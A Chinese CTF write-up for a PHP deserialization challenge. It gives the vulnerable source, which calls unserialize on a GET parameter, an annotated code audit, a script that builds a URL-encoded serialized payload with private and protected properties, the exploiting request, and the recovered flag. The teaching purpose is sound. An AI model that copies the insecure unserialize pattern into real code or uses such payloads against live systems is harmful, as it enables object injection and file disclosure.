4.level4-[本地复现]-[伪变量$this访问类方法中隐藏的成员变量]-[私有和保护属性的序列化]

本文阅读 7 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

level4-[本地复现]-[伪变量$this访问类方法中隐藏的成员变量]-[私有和保护属性的序列化]

1.题目描述

<?php
include "flag.php";
class Index{ 
    private $name1;
    private $name2;
    protected $age1;
    protected $age2;

    function getflag(){ 
        $name2 = rand(0,999999999);
        if($this->name1 === $this->name2){ 
            $age2 = rand(0,999999999);
            if($this->age1 === $this->age2){ 
                include('php://filter/convert.base64-encode/resource=flag.php');
            }
        }
        else{ 
            echo "nonono";
        }
    }
}

if(isset($_GET['poc'])){ 
    $a = unserialize($_GET['poc']);
    $a->getflag();
}
else{ 
    highlight_file(__file__);
}
?>

2.代码审计

讲在前面:

1.类中且不是类的方法中的变量是成员产量;
2.类的方法中的变量是局部变量;
3.类的方法中,如果局部变量跟成员变量的名字相同,则隐藏成员产量,如果想要访问成员产量就需要用到伪变量$this来访问。(访问姿势: $this->成员变量名)

通读代码:

<?php
include "flag.php";        // 文件包含flag.php,用来提示flag值位于flag.php页面内
class Index{             // 定义一个以Index为名的类
    private $name1;        // 定义一个以name1为名的私有属性
    private $name2;        // 定义一个以name2为名的私有属性
    protected $age1;    // 定义一个以age1为名的私有属性
    protected $age2;    // 定义一个以age2为名的私有属性

    function getflag(){                 //定义一个以getflag为名的方法
        $name2 = rand(0,999999999);    // 定义一个以name2为名的变量,注意与该类的私有属性name2无关
        if($this->name1 === $this->name2){     // 判断该类的两个私有属性是否全等,先判断类型后判断数值
            $age2 = rand(0,999999999);            // 同上
            if($this->age1 === $this->age2){     // 同上
                include('php://filter/convert.base64-encode/resource=flag.php');    
                // 若该类的私有属性全等,保护属性全等,则读取flag.php页面源码
            }
        }
        else{                     // 否则,输出nonono
            echo "nonono";
        }
    }
}

if(isset($_GET['poc'])){             // 判断是否以GET形式传参给poc或传的值是否为NULL
    $a = unserialize($_GET['poc']);    // 若传了参数且不为NULL,则反序列化该字符串
    $a->getflag();                    // 调用getflag()方法
}
else{                                 // 否则,高亮显示源代码
    highlight_file(__file__);
}
?>

分析所得:

<li class="task-list-item"> flag的值位于:flag.php页面中,猜测是注释内容,需要读取源码;
<li class="task-list-item"> 注意1:getflag()函数内的name2变量和age2变量与Index类中的私有属性name2和保护属性age2无关,要想在类内访问自己的私有和保护属性,需要使用伪变量t h i s , 形 如 : this,形如: this,形如:this->name2或$this->age2;
<li class="task-list-item"> 因此:getflag()函数内的if条件语句,起不到任何的过滤作用
<li class="task-list-item"> 注意2:私有属性和保护属性在序列化的时候,会出现不可见字符,不能进行复制,反序列化后的结果也会出问题,因此我们需要进行URL编码
<li class="task-list-item"> 注意3:浏览器在提交GET参数给后台的之前,会自动把URL编码(若已经提前编码,浏览器不会进行编码了),到达后台后自动进行URL解码

3.解题过程

第一步:分析流程

<li class="task-list-item"> 要想获得flag–>需要读取flag.php页面的源码
<li class="task-list-item"> 要想读取flag.php页面的源码–>需要调用getflag()
<li class="task-list-item"> 要想调用getflag()–>需要使其传入的当前类的实例化对象的序列化字符串中的私有属性name1和name2全等且保护属性age1和age2全等
<li class="task-list-item"> 要想当前类的实例化对象的私有属性name1和name2全等且保护属性age1和age2全等–>直接赋值即可,因为getflag()内部的name2和age2不会影响到私有属性和保护属性的值

第二步:根据以上步骤构造payload(注意,这次只是检验私有属性和保护属性序列化的结果)

  • 与公有属性相比:私有属性序列化的时候,属性名的前面会有:00类名00
  • 与私有属性相比:保护属性序列化的时候,属性名的前面会有:0000 *
  • 00在此处是不可见字符,且不可复制
<?php
class Index{ 
    private $name1='chen';
    private $name2='chen';
    protected $age1=23;
    protected $age2=23;
}

$chen = new Index();
echo serialize($chen);
?>

img

第三步:再次尝试构造payload,需要对序列化后的结果进行url编码

<?php
class Index{ 
    private $name1='chen';
    private $name2='chen';
    protected $age1=23;
    protected $age2=23;
}

$chen = new Index();
echo urlencode(serialize($chen));
?> 
/* O%3A5%3A%22Index%22%3A4%3A%7Bs%3A12%3A%22%00Index%00name1%22%3Bs%3A4%3A%22chen%22%3Bs%3A12%3A%22%00Index%00name2%22%3Bs%3A4%3A%22chen%22%3Bs%3A7%3A%22%00%2A%00age1%22%3Bi%3A23%3Bs%3A7%3A%22%00%2A%00age2%22%3Bi%3A23%3B%7D */

第四步:传入payload,获得flag.php页面的源码

?poc=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A12%3A%22%00Index%00name1%22%3Bs%3A4%3A%22chen%22%3Bs%3A12%3A%22%00Index%00name2%22%3Bs%3A4%3A%22chen%22%3Bs%3A7%3A%22%00%2A%00age1%22%3Bi%3A23%3Bs%3A7%3A%22%00%2A%00age2%22%3Bi%3A23%3B%7D

img

第五步:解码,得到flag值

<?php
//flag{3a8a0e34b5c6577ed54da625b292fca3}

4.总结

  • 私有属性和保护属性,在类内调用的时候需要使用伪变量t h i s ∗ ∗ , 形 如 : this,形如: this∗∗,形如:this->name2或$this->age2
  • 在定义类的时候,我们往往不知道对象名是什么,所以就没法用对象名,这时,我们就要用到伪变量$this,它代表的是某一时刻的当前类的实例化对象
  • 序列化结果:与公有属性相比:私有属性序列化的时候,属性名的前面会有:00类名00
  • 序列化结果: 与私有属性相比:保护属性序列化的时候,属性名的前面会有:0000 *
  • 注意:00在此处是不可见字符,且不可复制

img

5.一些错误的修改:

1、提出问题:在PHP中存在以下的特性,导致私有/保护属性序列化后不可见字符不能复制的问题

(1)private、protecte序列化后产生:不可见字符%00

(2)private属性序列化时候的格式是:%00类名%00成员属性名

(3)protecte属性序列化时候的格式是:%00*%00成员属性名

2、解决问题:绕过不可见字符%00不能复制的问题 (1)利用浏览器对URL编码的特性:浏览器会自动对我们传入的URL地址进行一次一定的URL编码(假如没有自己提前URL编码一次),相应的后台会自动进行解码一次,因此利用姿势:urlencode(serialize(待序列化的含有私有或保护属性的类的对象)); (2)利用php7.2.10对私有公有属性的不严格处理:PHP7.2.10以上的反序列化不会判断里面参数的属性类型了,所以可以改成public再进行反序列化,绕过private、protected序列化后产生不可见字符。

(3)利用S进行十六进制表示:str_replace(chr(00),'00',$chen);然后再利用同样的方式,把00所处的双引号内前面的字符串长度前面的类型s改为类型S

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122181627
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复